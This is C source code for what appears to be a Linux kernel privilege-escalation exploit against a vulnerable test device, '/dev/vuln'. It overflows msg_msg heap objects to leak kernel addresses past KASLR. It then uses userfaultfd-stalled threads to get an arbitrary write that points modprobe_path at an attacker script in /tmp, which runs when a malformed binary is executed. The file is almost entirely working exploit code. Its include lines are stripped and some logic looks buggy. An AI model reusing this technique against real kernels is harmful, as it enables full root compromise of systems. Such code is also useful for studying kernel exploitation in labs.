#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define PAGE_SIZE 4096 #define SLAB_NAME "kmalloc-128" #define MSG_COPY 040000 #define LAST_5(x) (x & 0xfffff) int fd = -1; int ufd_qid; int qid[4]; unsigned long offset = 0; unsigned long next = 0; void* page_1; void* page_2; pthread_t thread1, thread2; pthread_t pfthread1, pfthread2; int release_pfh_1 = 0; unsigned long modprobe_path = 0; char* script_path = "/tmp/x\x00"; unsigned long queue; void open_dev(){ fd = open("/dev/vuln", O_RDWR); if(fd < 0){ puts("[!] Error opening device"); exit(-1); } puts("[*] Opened device"); } void dev_write(char* buf, size_t n){ if(write(fd, buf, n)<0) { puts("[!] Error writing to device"); //exit(-1); } else { puts("[*] Wrote to device"); } } char* dev_read(char* buf) { char* output = (char*)read(fd, buf, sizeof(buf)); if (output <= 0){ puts("[!] Error reading from device"); exit(-1); } puts("[*] Read from device"); return output; } #define HEADER_SZ 48 #define MSIZE 128-HEADER_SZ struct { long mtype; char mtext[MSIZE]; } msg; int make_q(int type) { msg.mtype = type; int id = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); if(id == -1) { perror("msgget"); return -1; } return id; } void send_msg(int qid, int size, int c) { size_t msize = size - HEADER_SZ; struct { long mtype; char mtext[msize]; } msg; msg.mtype = 1; memset(msg.mtext, c, msize); msg.mtext[msize-1] = 0; if(msgsnd(qid, &msg, msize, 0) == -1) { perror("msgsnd"); exit(1); } } void hex_dump(char *buff, unsigned long size) { int i,j; for (i = 0; i < size/8; i++) { if(i % 2 == 0) { if (i != 0) printf(" \n"); printf(" %04x ", i*8); } unsigned long ptr = ((unsigned long *)(buff))[i]; printf("0x%016lx", ptr); printf(" "); } printf("\n"); } void check_slab(char *slab_name, int *active, int *total) { FILE *fp; char buff[1024], name[64]; int active_num, total_num; fp = fopen("/proc/slabinfo", "r"); if (!fp) { perror("fopen"); return; } while (fgets(buff, 1024, fp) != NULL) { sscanf(buff, "%s %u %u", name, &active_num, &total_num); if (!strcmp(slab_name, name)) { *active = active_num; *total = total_num; return; } } } void print_slab_info() { int total_num, active_num; check_slab(SLAB_NAME, &active_num, &total_num); printf("[+] Checking slab total: %d active: %d free: %d\n", total_num, active_num, total_num-active_num); } int isKernel(unsigned long a){ return (a > 0xffffffff00000000); } unsigned long evil[50]; void leak() { // create buffer to overflow with: size_t evilsz = 160; memset(evil, 0, evilsz); for(size_t i=0; i<12; i++){ evil[i] = 0xa; // make driver stop parsing params } evil[16] = (unsigned long)0x4141414141414141; evil[17] = (unsigned long)0x4242424242424242; // struct list_head m_list; evil[18] = (unsigned long)0x000; // long m_type; int leak_sz = 0x200; evil[19] = leak_sz; // size_t m_ts; qid[0] = make_q(1); qid[1] = make_q(1); qid[2] = make_q(1); send_msg(qid[0], 128, 0x40); send_msg(qid[1], 128, 0x41); send_msg(qid[2], 128, 0x42); send_msg(qid[2], 8184, 0x43); socket(22, AF_INET, 0); /* * 0 : will be replaced with victim * 1 : overflowed * 2 list head next ---> (B) k4096 header msg_next --> k4096 data * 3 socket -> modprobe leak **/ char buff[80]; // free and replace message with victim buffer to overflow msgrcv(qid[0], buff, 80, 1, MSG_NOERROR | IPC_NOWAIT); dev_write((char*)evil, evilsz); puts("[*] Wrote into freed buffer"); char* leaked = (char*)calloc(leak_sz, 1); int res = msgrcv(qid[1], leaked, leak_sz, 0, MSG_COPY | IPC_NOWAIT); if(res>80) { hex_dump(leaked, leak_sz); unsigned long leaked_addr[leak_sz/sizeof(unsigned long)]; memcpy(leaked_addr, leaked, leak_sz); printf("[*] Leaked 0x%x bytes\n", res); next = leaked_addr[11]; printf("[*] Next pointer is 0x%lx\n", next); queue = leaked_addr[12]; for(size_t i=0; i < leak_sz/sizeof(unsigned long); i++) { if(isKernel(leaked_addr[i]) && LAST_5(leaked_addr[i]) == 0x48700) { printf("[*] Modprobe_path: 0x%lx\n", leaked_addr[i]); modprobe_path = leaked_addr[i]; offset = (unsigned long)(leaked_addr - 0xffffffff82648700); break; } } } else { puts("[!] Error overwriting m_ts "); } } int userfaultfd(int flags) { return syscall(SYS_userfaultfd, flags); } int initialize_ufd(void *page) { int fd; struct uffdio_register reg; if((fd = userfaultfd(O_NONBLOCK)) == -1) { puts("[!] Userfaultfd failed"); exit(1); } if((ufd_qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) { puts("[!] Msgget ufd failed"); exit(1); } struct uffdio_api api = { .api = UFFD_API }; if(ioctl(fd, UFFDIO_API, &api)) { puts("[!] Userfaultfd ioctl - UFFDIO_API failed"); exit(1); } if(api.api != UFFD_API) { puts("[!] Unexepcted UFFD api version!"); exit(1); } printf("[*] Start monitoring range: %p - %p\n", page + PAGE_SIZE, page + PAGE_SIZE*2); reg.mode = UFFDIO_REGISTER_MODE_MISSING; reg.range.start = (long)(page + PAGE_SIZE); reg.range.len = PAGE_SIZE; if(ioctl(fd, UFFDIO_REGISTER, ®)) { puts("[!] ioctl - UFFDIO_REGISTER failed"); exit(1); } return fd; } void *page_fault_handler_1(void *_ufd) { struct pollfd pollfd; struct uffd_msg fault_msg; struct uffdio_copy ufd_copy; struct uffdio_range ufd_range; pid_t pid; int ufd = *((int *)_ufd); pollfd.fd = ufd; pollfd.events = POLLIN; puts("[PFH 1] Started!"); while(poll(&pollfd, 1, -1) > 0) { if((pollfd.revents & POLLERR) || (pollfd.revents & POLLHUP)){ puts("[!] Polling failed"); //exit(1); } //if( read(ufd, &fault_msg, sizeof(fault_msg)); /* != sizeof(fault_msg)){ puts("[!] Read - fault_msg failed"); exit(1); }*/ char *page_fault_location = (char *)fault_msg.arg.pagefault.address; if(fault_msg.event != UFFD_EVENT_PAGEFAULT){ puts("[!] Unexpected pagefault?"); //exit(1); } if(page_fault_location == page_1 + PAGE_SIZE) { printf("[PFH 1] Page fault at 0x%lx\n", (unsigned long)page_fault_location); unsigned long buff[PAGE_SIZE/sizeof(unsigned long)]; // write the address of modprobe_path to F's next pointer buff[0] = next; buff[1] = next; buff[2] = 1; buff[3] = 0x1000; buff[4] = modprobe_path; puts("[PFH 1] Releasing faulting thread"); ufd_copy.dst = (unsigned long)(page_fault_location); ufd_copy.src = (unsigned long)(&buff); ufd_copy.len = PAGE_SIZE; ufd_copy.mode = 0; ufd_copy.copy = 0; for(;;) { if(release_pfh_1){ if(ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0){ puts("ioctl(UFFDIO_COPY)"); exit(1); } puts("[PFH 1] Faulting thread released"); break; } } } } } void *page_fault_handler_2(void *_ufd){ struct pollfd pollfd; struct uffd_msg fault_msg; struct uffdio_copy ufd_copy; struct uffdio_range ufd_range; pid_t pid; int ufd = *((int *)_ufd); pollfd.fd = ufd; pollfd.events = POLLIN; puts("[PFH 2] Started!"); while(poll(&pollfd, 1, -1) > 0) { if((pollfd.revents & POLLERR) || (pollfd.revents & POLLHUP)) { puts("[!] Polling failed"); //exit(1); } //if( read(ufd, &fault_msg, sizeof(fault_msg)); // != sizeof(fault_msg)) { /* puts("[!] Read - fault_msg failed"); exit(1); }*/ char *page_fault_location = (char *)fault_msg.arg.pagefault.address; if(fault_msg.event != UFFD_EVENT_PAGEFAULT) { puts("[!] Unexpected pagefault?"); //exit(1); } if(page_fault_location == page_2 + PAGE_SIZE) { printf("[PFH 2] Page fault at 0x%lx\n", page_fault_location); unsigned long buff[PAGE_SIZE/sizeof(unsigned long)]; memset(buff, 0, PAGE_SIZE/sizeof(unsigned long)); memcpy(buff, script_path, 6); memcpy(buff+8, script_path, 6); release_pfh_1 = 1; sleep(10); // buff is what will be written to modprobe_path puts("[PFH 2] Releasing faulting thread"); ufd_copy.dst = (unsigned long)(page_fault_location); ufd_copy.src = (unsigned long)(&buff); ufd_copy.len = PAGE_SIZE; ufd_copy.mode = 0; ufd_copy.copy = 0; if(ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0) { puts("[!] ioctl(UFFDIO_COPY)"); //exit(1); } puts("[PFH 2] Faulting thread released"); } } } void* alloc1(void* arg) { printf("[Thread 1] Message buffer allocated at %p\n", page_1 + PAGE_SIZE - 0x10); qid[2] = make_q(1); memset(page_1, 0, PAGE_SIZE); ((unsigned long *)(page_1))[0xff0 / 8] = 1; if(msgsnd(qid[2], page_1 + PAGE_SIZE - 0x10, 0x1ff8 - 0x30, 0)) { puts("[!] Error msgsnd in alloc1"); exit(-1); } puts("[Thread 1] Message sent, *next overwritten!"); } void* alloc2(void* arg) { printf("[Thread 2] Message buffer allocated at 0x%p\n", page_2+PAGE_SIZE-0x10); qid[3] = make_q(1); memset(page_2, 0, PAGE_SIZE); ((unsigned long *)(page_1))[0xff0 / 8] = 1; int res = msgsnd(qid[3], page_2 + PAGE_SIZE - 0x10, 0x1028 - 0x30, 0); if(res < page_2 + PAGE_SIZE - 0x10){ printf("[!] Error %d msgsnd in alloc2\n", res); exit(-1); } } void setup_user_pages() { page_1 = (void*)mmap((void *)0xdead000, PAGE_SIZE*3, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); page_2 = (void*)mmap((void *)0xcafe000, PAGE_SIZE*3, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); int ufd_1 = initialize_ufd(page_1); int ufd_2 = initialize_ufd(page_2); pthread_create(&pfthread1, 0, page_fault_handler_1, &ufd_1); pthread_create(&pfthread2, 0, page_fault_handler_2, &ufd_2); } void setup_overflow() { // we want to make next point to new segment evil[16] = (unsigned long)0x41; evil[17] = (unsigned long)0x42; // struct list_head m_list; evil[18] = 1; evil[19] = 0x50; evil[20] = next+0x1000; // segment } void arb_write() { setup_user_pages(); // 3. Free B (only chunk in k4096) char buff[8136]; msgrcv(qid[2], buff, 8136, 1, MSG_NOERROR | IPC_NOWAIT); msgrcv(qid[2], buff, 128, 1, MSG_NOERROR | IPC_NOWAIT); // 4. Start a new thread allocate new message D(and segment) in k4096 // hang the thread via userfault handler /* * k128 k4096 -----> segment k4096 * D qid[2] * Pagefault 1 * */ pthread_create(&thread1, 0, alloc1, 0); // 5. Allocate new chunk E adjacent to victim to overflow // overwrite next to point to segment F /* * k128 * victim * E (overwrite next) -------------------------> segment * (D) k4096 ----------------------^ */ qid[0] = make_q(1); qid[1] = make_q(1); send_msg(qid[0], 128, 0x44); send_msg(qid[1], 128, 0x45); setup_overflow(); // free to replace with victim msgrcv(qid[0], buff, 128, 1, MSG_NOERROR | IPC_NOWAIT); dev_write((char*)evil, 21*sizeof(unsigned long)); // 6. Freeing E now also frees segment since msg_next points to it /* * k4096 (D) -> segment(now freed with E) * */ msgrcv(qid[1], buff, 128, 1, MSG_NOERROR | IPC_NOWAIT); // 7. Create thread2 and allocate F which will be at the address of the // last freed segment so that D -> F and hang the thread /* *k4096 (D) -> F(2nd page fault) -> F's segment * */ pthread_create(&thread2, 0, alloc2, 0); // 8. release first thread to write the address of modprobe_path to // F's msg_next pointer(this is done in page_fault_handler2) /* * k4096 (D) -> F(2nd page fault) -> modprobe_path * prev, next * * msg_next * * now when 2nd page fault is released it will write to modprobe_path * */ //pthread_join(thread1, 0); // then resume F so it writes to that pointer //pthread_join(thread2, 0); } void make_script() { system("echo '#!/bin/sh\necho rooted' > /tmp/x "); system("chmod +x /tmp/x"); system("echo -ne '\\xff\\xff\\xff\\xff\\xff' > /tmp/dummy"); system("chmod +x /tmp/dummy"); system("/tmp/dummy"); } int main() { open_dev(); // leak to get around aslr leak(); // ffffffff8107e300 t call_usermodehelper_exec_work // ffffffff82648700 D modprobe_path if(offset){ arb_write(); } make_script(); }